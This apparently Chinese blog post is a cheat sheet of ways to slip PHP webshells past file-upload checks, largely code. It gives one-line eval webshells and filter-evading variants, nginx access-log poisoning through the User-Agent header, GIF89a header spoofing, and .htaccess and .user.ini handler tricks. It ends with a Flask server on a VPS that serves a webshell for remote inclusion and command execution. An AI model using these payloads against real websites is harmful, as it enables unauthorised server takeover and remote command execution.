对于前端校验的文件上传:
可以打开f12在查看器里修改文件上传的关键位置的上次类型,以此绕过前端检测
例如:
改为
即可
对于后端检测的文件上传:
一.当修改前端也不能传入php文件时
可以尝试先抓包上传正常要求的文件,然后再修改文件名来达到目的
例如:
先传png 再bp改后缀成功上传并返回路径
二.当php被列入黑名单时:
可以使用:phtml php3 php4 等等来代替
如果都不行的话,可以尝试上传.ini.user解析文件来包含绕过
例如:
在上传的文件里:
auto_prepend_file=001.png
这样再传入001.png就会把001.png的内容作为php代码包含执行
三.当文件内容被检测且php被过滤时:
可以把一句话木马换为短标签木马
例如:
<?=eval($_POST[a]);?>
即可
四.当文件内容被检测且[]被过滤时:
可以使用{}来绕过检测
例如:
<?=eval($_POST{a});?>
即可
五.当文件内容被检测且[],{}, ; ,php都被过滤时:
可以尝试日志包含写马
<?=include '/var/log/nginx/access.log'?>
再在User-Agent的请求头里写入一句话木马
<?=eval($_POST[a]);?>
即可
六.当文件内容被检测且log被过滤时:
在日志包含上马时,就可能遇到这种情况
使用'.'来绕过
<?=include '/var/l'.'og/nginx/access.l'.'og'?>
即可
七.当文件内容被检测且日志包含上马时 空格,反引号被过滤
可以这样绕:
<?=include"/var/lo"."g/nginx/access.lo"."g"?>
八.当文件内容被检测且检测文件头时:
可以用GIF89a来绕过文件头校验
GIF89a
<?=include"/var/lo"."g/nginx/access.lo"."g"?>
九.当文件内容被检测且过滤了 <? 时
使用标签绕过
<script language="php">@eval($_POST['a']);</script>
使用解析文件配合来实现文件上传绕过
.htaccess解析文件绕过
文件内容如下:
<FilesMatch "xxx.jpg">
SetHandler application/x-httpd-php
</FilesMatch>
这是将xxx.jpg解析为php文件 可根据需要自行修改
.ini.user解析文件绕过
例如:
auto_append_file=hello.png
auto_prepend_file=hello.png
这两个一个是在文件前面 一个在文件最后插入
这里的.ini.user在配置环境允许的情况下可以实现远程文件包含
流程是:在vps上创建一个app.py文件 ,起一个flask服务并调用一个一句话木马文件,实现远程文件包含
示例操作如下:
app.py内容是:
from flask import Flask, send_file
# 创建 Flask 应用实例
app = Flask(__name__)
# 定义路由 /233,用于提供具体文件的内容
@app.route('/233')
def provide_file():
filename = '233' # 假设文件名为 233,确保它与 Flask 应用在同一目录下或者提供正确的路径
return send_file(filename)
# 主程序入口
if __name__ == '__main__':
app.run(debug=True, host='0.0.0.0', port=5000)
233文件里的内容是:
<?php eval($_POST['a']);?>
启动服务后在.ini.user文件中设为:
auto_append_file=http://ip:5000/233
然后访问文件上传的路径即可命令执行
Comments | NOTHING